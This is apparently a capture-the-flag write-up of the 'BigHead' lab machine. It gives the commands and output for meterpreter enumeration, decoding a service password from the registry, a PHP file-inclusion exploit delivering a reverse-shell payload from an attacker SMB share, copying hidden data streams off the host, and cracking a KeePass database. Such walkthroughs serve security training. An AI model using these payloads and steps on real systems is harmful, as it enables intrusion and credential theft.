meterpreter > getuid
Server username: PIEDPIPER\Nelson

meterpreter > sysinfo
Computer        : PIEDPIPER
OS              : Windows 2008 (Build 6002, Service Pack 2).
Architecture    : x86
System Language : en_GB
Domain          : DEVELOPMENT
Logged On Users : 5
Meterpreter     : x86/windows

Installed programs:

Notice SSH is installed, 7-Zip and Keepass.

meterpreter > run post/windows/gather/enum_applications 

[*] Enumerating applications installed on PIEDPIPER

Installed Applications
======================

 Name                                                              Version
 ----                                                              -------
 7-Zip 18.05                                                       18.05
 Bitnami TestLink Module                                           1.9.17-0
 Bitvise SSH Server 7.44 (remove only)                             7.44
 Hotfix for Microsoft .NET Framework 3.5 SP1 (KB953595)            1
 Hotfix for Microsoft .NET Framework 3.5 SP1 (KB958484)            1
 KeePass Password Safe 2.40                                        2.40
 Microsoft .NET Framework 3.5 SP1                                  3.5.30729
 Microsoft .NET Framework 4.5.2                                    4.5.51209
 Microsoft .NET Framework 4.5.2                                    4.5.51209
 Microsoft Visual C++ 2008 Redistributable - x86 9.0.21022         9.0.21022
 Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161    9.0.30729.6161
 Mozilla Firefox 52.9.0 ESR (x86 en-GB)                            52.9.0
 Notepad++ (32-bit x86)                                            7.5.9
 Oracle VM VirtualBox Guest Additions 5.2.12                       5.2.12.0
 Python 2.7.15                                                     2.7.15150
 Security Update for Microsoft .NET Framework 3.5 SP1 (KB2604111)  1
 Security Update for Microsoft .NET Framework 3.5 SP1 (KB2736416)  1
 Security Update for Microsoft .NET Framework 3.5 SP1 (KB2840629)  1
 Security Update for Microsoft .NET Framework 3.5 SP1 (KB2861697)  1
 Update for Microsoft .NET Framework 3.5 SP1 (KB963707)            1
 Update for Microsoft .NET Framework 4.5.2 (KB4040977)             1
 Update for Microsoft .NET Framework 4.5.2 (KB4096495)             1
 Update for Microsoft .NET Framework 4.5.2 (KB4098976)             1
 Update for Microsoft .NET Framework 4.5.2 (KB4338417)             1
 Update for Microsoft .NET Framework 4.5.2 (KB4344149)             1
 Update for Microsoft .NET Framework 4.5.2 (KB4457019)             1
 Update for Microsoft .NET Framework 4.5.2 (KB4457038)             1
 Update for Microsoft .NET Framework 4.5.2 (KB4459945)             1
 VMware Tools                                                      10.1.15.6677369
 XAMPP                                                             5.6.36-0

A local service is also listening on port 2020:

C:\nginx>netstat -an
netstat -an

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:2020           0.0.0.0:0              LISTENING

To access it remotely we can use the portfwd command within meterpreter:

meterpreter > portfwd add -l 2020 -p 2020 -r 127.0.0.1
[*] Local TCP relay created: :2020 <-> 127.0.0.1:2020

It’s some kind of SSH server: Bitvise SSH Server (WinSSHD)

# nc -nv 127.0.0.1 2020
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:2020.
SSH-2.0-7.44 FlowSsh: Bitvise SSH Server (WinSSHD) 7.44: free only for personal non-commercial use

I don’t have the credentials so I looked for a while in the registry and eventually found a needle in the haystack.

meterpreter > search -f *nginx*
Found 14 results...
    c:\nginx\nginx.exe (3115008 bytes)
    c:\nginx\conf\nginx-orig.conf (2773 bytes)
    c:\nginx\conf\nginx.conf (6608 bytes)
    c:\nginx\conf\nginx.conf_bkp (4525 bytes)
    c:\nginx\contrib\geo2nginx.pl (1272 bytes)
    c:\nginx\contrib\unicode2nginx\unicode-to-nginx.pl (1090 bytes)
    c:\nginx\contrib\vim\ftdetect\nginx.vim (198 bytes)
    c:\nginx\contrib\vim\ftplugin\nginx.vim (29 bytes)
    c:\nginx\contrib\vim\indent\nginx.vim (250 bytes)
    c:\nginx\contrib\vim\syntax\nginx.vim (125645 bytes)
    c:\nginx\logs\nginx.pid (6 bytes)
    c:\ProgramData\Microsoft\User Account Pictures\nginx.dat
    c:\Users\All Users\Microsoft\User Account Pictures\nginx.dat
    c:\Windows\System32\nginx.reg (4268 bytes)

The nginx.reg stands out:

C:\users\nelson>type c:\Windows\System32\nginx.reg
type c:\Windows\System32\nginx.reg
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nginx]
"Type"=dword:00000010
"Start"=dword:00000002
"ErrorControl"=dword:00000001
"ImagePath"=hex(2):43,00,3a,00,5c,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,\
  20,00,46,00,69,00,6c,00,65,00,73,00,5c,00,6e,00,73,00,73,00,6d,00,5c,00,77,\
  00,69,00,6e,00,33,00,32,00,5c,00,6e,00,73,00,73,00,6d,00,2e,00,65,00,78,00,\
  65,00,00,00
"DisplayName"="Nginx"
"ObjectName"=".\\nginx"
"Description"="Nginx web server and proxy."
"DelayedAutostart"=dword:00000000
"FailureActionsOnNonCrashFailures"=dword:00000001
"FailureActions"=hex:00,00,00,00,00,00,00,00,00,00,00,00,03,00,00,00,14,00,00,\
  00,01,00,00,00,60,ea,00,00,01,00,00,00,60,ea,00,00,01,00,00,00,60,ea,00,00
"Authenticate"=hex:48,00,37,00,33,00,42,00,70,00,55,00,59,00,32,00,55,00,71,00,39,00,55,00,2d,00,59,00,75,00,67,00,79,00,74,00,35,00,46,00,59,00,55,00,62,00,59,00,30,00,2d,00,55,00,38,00,37,00,74,00,38,00,37,00,00,00,00,00
"PasswordHash"="336d72676e6333205361797a205472794861726465722e2e2e203b440a"

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nginx\Parameters]
"Application"=hex(2):43,00,3a,00,5c,00,6e,00,67,00,69,00,6e,00,78,00,5c,00,6e,\
  00,67,00,69,00,6e,00,78,00,2e,00,65,00,78,00,65,00,00,00
"AppParameters"=hex(2):00,00
"AppDirectory"=hex(2):43,00,3a,00,5c,00,6e,00,67,00,69,00,6e,00,78,00,00,00
"AppStdin"=hex(2):73,00,74,00,61,00,72,00,74,00,20,00,6e,00,67,00,69,00,6e,00,\
  78,00,00,00
"AppStdout"=hex(2):43,00,3a,00,5c,00,6e,00,67,00,69,00,6e,00,78,00,5c,00,6c,00,\
  6f,00,67,00,73,00,5c,00,73,00,65,00,72,00,76,00,69,00,63,00,65,00,2e,00,6f,\
  00,75,00,74,00,2e,00,6c,00,6f,00,67,00,00,00
"AppStderr"=hex(2):43,00,3a,00,5c,00,6e,00,67,00,69,00,6e,00,78,00,5c,00,6c,00,\
  6f,00,67,00,73,00,5c,00,65,00,72,00,72,00,6f,00,72,00,2e,00,6c,00,6f,00,67,\
  00,00,00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nginx\Parameters\AppExit]
@="Restart"

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nginx\Enum]
"0"="Root\\LEGACY_NGINX\\0000"
"Count"=dword:00000001
"NextInstance"=dword:00000001

The Authenticate key contains: 48,00,37,00,33,00,42,00,70,00,55,00,59,00,32,00,55,00,71,00,39,00,55,00,2d,00,59,00,75,00,67,00,79,00,74,00,35,00,46,00,59,00,55,00,62,00,59,00,30,00,2d,00,55,00,38,00,37,00,74,00,38,00,37,00,00,00,00,00

I like using Cyberchef to decode and convert data, it’s much faster to try different filters/conversion than coding it in python.

Password: H73BpUY2Uq9U-Yugyt5FYUbY0-U87t87

I can now SSH in with user nginx but I’m stuck in some sort of limited shell:

# ssh -p 2020 nginx@127.0.0.1
nginx@127.0.0.1's password: --> `H73BpUY2Uq9U-Yugyt5FYUbY0-U87t87`

bvshell:/$ whoami
whoami: Command not found.

bvshell:/$ pwd
/

bvshell:/$ ls
anonymous             apache                apache_start.bat      apache_stop.bat       apps                  catalina_service.bat  catalina_start.bat    catalina_stop.bat     cgi-bin
contrib               ctlscript.bat         FileZillaFTP          filezilla_setup.bat   filezilla_start.bat   filezilla_stop.bat    htdocs                img                   install
licenses              locale                mailoutput            mailtodisk            MercuryMail           mercury_start.bat     mercury_stop.bat      mysql                 mysql_start.bat
mysql_stop.bat        nginx.exe             passwords.txt         perl                  php                   phpMyAdmin            properties.ini        readme_de.txt         readme_en.txt
RELEASENOTES          sendmail              service.exe           setup_xampp.bat       src                   test_php.bat          tmp                   tomcat                uninstall.dat
uninstall.exe         user.txt              webalizer             webdav                xampp-control.exe     xampp-control.ini     xampp-control.log     xampp_shell.bat       xampp_start.exe
xampp_stop.exe

I checked out the Bitvise website for information on bvshell and saw that it’s some kind of chroot jail:

That would explain why the above directory listing of the root directory shows the content of xampp and not the root of the Windows server.

There’s a user.txt file in the directory but I can’t seem to read it.

bvshell:/$ cat user.txt
-bvshell: Reading binary file as a text.

Local File Include

The Testlink application is located in /apps/testlink/htdocs.

The linkto.php file contains an LFI, the important code is shown below:

// alpha 0.0.1 implementation of our new pipercoin authentication tech
// full API not done yet. just submit tokens with requests for now.
if(isset($_POST['PiperID'])){$PiperCoinAuth = $_POST['PiperCoinID']; //plugins/ppiper/pipercoin.php
        $PiperCoinSess = base64_decode($PiperCoinAuth);
				$PiperCoinAvitar = (string)$PiperCoinSess;}
[...]  
require_once($PiperCoinAuth); 

When I do a GET request on linkto.php, I get the following error message:

Fatal error: require_once(): Failed opening required '' (include_path='C:\xampp\php\PEAR;.;C:\xampp\apps\testlink\htdocs\lib\functions\;C:\xampp\apps\testlink\htdocs\lib\issuetrackerintegration\;C:\xampp\apps\testlink\htdocs\lib\codetrackerintegration\;C:\xampp\apps\testlink\htdocs\lib\reqmgrsystemintegration\;C:\xampp\apps\testlink\htdocs\third_party\') in C:\xampp\apps\testlink\htdocs\linkto.php on line 62

The linkto.php has a require_once($PiperCoinAuth) command, and because $PiperCoinAuth is under direct control of users through the POST PiperCoinID parameter, we can include any arbitrary PHP file.

I generated a PHP meterpreter payload.

# msfvenom -p php/meterpreter/reverse_tcp -o met.php LHOST=10.10.14.23 LPORT=4444
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1112 bytes
Saved as: met.php

Then sent a POST request to execute PHP code through my SMB server

# curl -XPOST --data "PiperID=1&PiperCoinID=\\\\10.10.14.23\share\met.php" http://code.bighead.htb/testlink/linkto.php

Finally, I get a proper shell as SYSTEM on the target system

msf5 exploit(multi/handler) > [*] Encoded stage with php/base64
[*] Sending encoded stage (51106 bytes) to 10.10.10.112
[*] Meterpreter session 4 opened (10.10.14.23:4444 -> 10.10.10.112:49159) at 2019-05-02 21:06:18 -0400

msf5 exploit(multi/handler) > sessions 4
[*] Starting interaction with 4...

meterpreter > getuid
Server username: SYSTEM (0)

Got user flag:

meterpreter > cat /users/nginx/desktop/user.txt
5f158a...

Getting root.txt from Keepass

The root.txt is yet another troll:

meterpreter > cat /users/administrator/desktop/root.txt

                    * * *

              Gilfoyle's Prayer
     
___________________6666666___________________ 
____________66666__________66666_____________ 
_________6666___________________666__________ 
_______666__6____________________6_666_______ 
_____666_____66_______________666____66______ 
____66_______66666_________66666______666____ 
___66_________6___66_____66___66_______666___ 
__66__________66____6666_____66_________666__ 
_666___________66__666_66___66___________66__ 
_66____________6666_______6666___________666_ 
_66___________6666_________6666__________666_ 
_66________666_________________666_______666_ 
_66_____666______66_______66______666____666_ 
_666__666666666666666666666666666666666__66__ 
__66_______________6____66______________666__ 
___66______________66___66_____________666___ 
____66______________6__66_____________666____ 
_______666___________666___________666_______ 
_________6666_________6_________666__________ 
____________66666_____6____66666_____________ 
___________________6666666________________

   Prayer for The Praise of Satan's Kingdom

              Praise, Hail Satan!
   Glory be to Satan the Father of the Earth
       and to Lucifer our guiding light
    and to Belial who walks between worlds
     and to Lilith the queen of the night
    As it was in the void of the beginning
                   Is now, 
and ever shall be, Satan's kingdom without End

                so it is done.

                    * * *

When I started a shell my PHP meterpreter kept dropping so I used the multi/manage/upload_exec metasploit module to upload an .exe meterpreter and get another meterpreter session. This time I could spawn a shell without losing access.

msf5 post(multi/manage/upload_exec) > run

[*] Uploading /root/htb/bighead/met.exe to met.exe
[*] Executing command: met.exe
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (179808 bytes) to 10.10.10.112

[*] Meterpreter session 7 opened (10.10.14.23:5555 -> 10.10.10.112:49167) at 2019-05-02 21:19:51 -0400

meterpreter > shell
Process 3316 created.
Channel 1 created.
Microsoft Windows [Version 6.0.6002]
Copyright (c) 2006 Microsoft Corporation.  All rights reserved.

C:\xampp\apps\testlink\htdocs>whoami
whoami
nt authority\system

The administrator’s C:\Users\Administrator\AppData\Roaming\KeePass directory contains a Keepass configuration file: keepass.config.xml. It contains the name of the last keyfile used : admin.png and the database file: root.txt. Notice that the file name is root.txt:Zone.Identifier and not just root.txt so this means we are looking at NTFS alternate data streams here.

[...]
<Association>
<DatabasePath>..\..\Users\Administrator\Desktop\root.txt:Zone.Identifier</DatabasePath>
<Password>true</Password>
<KeyFilePath>..\..\Users\Administrator\Pictures\admin.png</KeyFilePath>
</Association>
[...]

We can check this by doing dir /r in the Desktop folder and we can see:

C:\Users\Administrator\Desktop>dir /ah
dir /ah
 Volume in drive C has no label.
 Volume Serial Number is 7882-4E78

 Directory of C:\Users\Administrator\Desktop

06/10/2018  14:33             1,519 root.txt
               1 File(s)          1,519 bytes
               0 Dir(s)  16,316,542,976 bytes free

C:\Users\Administrator\Desktop>dir /r /ah
dir /r /ah
 Volume in drive C has no label.
 Volume Serial Number is 7882-4E78

 Directory of C:\Users\Administrator\Desktop

06/10/2018  14:33             1,519 root.txt
                              7,294 root.txt:Zone.Identifier:$DATA
               1 File(s)          1,519 bytes
               0 Dir(s)  16,316,542,976 bytes free

Because the box only has powershell version 2, I can’t use the -stream flag to extract the ADS. But I found by pure luck that copying the file over SMB will automatically extract the data stream and create two files on my VM:

C:\Users\Administrator\Desktop>attrib -h root.txt

C:\Users\Administrator\Desktop>copy root.txt \\10.10.14.23\share
        1 file(s) copied.

[...]

-rwxr-xr-x  1 root root   1519 Dec 31  1969 root.txt
-rwxr-xr-x  1 root root   7294 Oct  6 10:33 root.txt:Zone.Identifier

I also copied the keyfile admin.png, then renamed root.txt:Zone.Identifier file to a .kdbx extension:

C:\Users\Administrator\Desktop>copy ..\pictures\admin.png \\10.10.14.23\share
copy ..\pictures\admin.png \\10.10.14.23\share
        1 file(s) copied.
# file root.kdbx 
root.kdbx: Keepass password database 2.x KDBX

When I tried to use keepass2john it didn’t work and just aborted without extracting the hash:

# keepass2john -k admin.png root.kdbx
admin.png
Aborted

Keepass uses the sha256 hash of the keyfile mixed with the password to produce the hash. In this case though the keyfile results in a hash that starts with a null byte so that seems to create a problem with keepass2john:

# sha256sum admin.png 
0063c12d1bf2ac03fb677e1915d1e96e3ab2cb7e381a186e58e8a06c5a296f39  admin.png

The fix was to just upgrade John to the latest version and I was able to get the hash after:

# keepass2john -k admin.png root.kdbx 
root:$keepass$*2*1*0*ea5626a6904620cad648168ef3f1968766f0b5f527c9a8028c1c1b03f2490449*cb3114b5089ffddbb3d607e490176e5e8da3022fc899fad5f317f1e4ebf4c268*a0b68d67dca93aee8f9804c28dac5995*afd02b46e630ff764adb50b7a2aae99d8961b1ab4676aff41c21dca19550c9ac*43c6588d17bceedbd00ed20d5ea310b82170252e29331671cc8aea3edd094ef6*1*64*0063c12d1bf2ac03fb677e1915d1e96e3ab2cb7e381a186e58e8a06c5a296f39

Then it didn’t take long to crack the password: darkness

# john -w=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64 OpenSSL])
Cost 1 (iteration count) is 1 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES, 1=TwoFish, 2=ChaCha]) is 0 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
darkness         (root)
1g 0:00:00:00 DONE (2019-05-02 21:35) 100.0g/s 73600p/s 73600c/s 73600C/s dreamer..raquel
Use the "--show" option to display all of the cracked passwords reliably
Session completed

I used kpcli to open the KeePass database and found the root.txt hash inside.

# kpcli --key admin.png --kdb root.kdbx
Please provide the master password: *************************

KeePass CLI (kpcli) v3.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.

kpcli:/> ls
=== Groups ===
chest/
kpcli:/> ls chest
=== Groups ===
hash/
kpcli:/> ls chest/hash
=== Entries ===
1. root.txt

kpcli:/> show -f 0

Title: root.txt
Uname: Gilfoyle
 Pass: 436b83...
  URL: 
Notes: HTB FTW!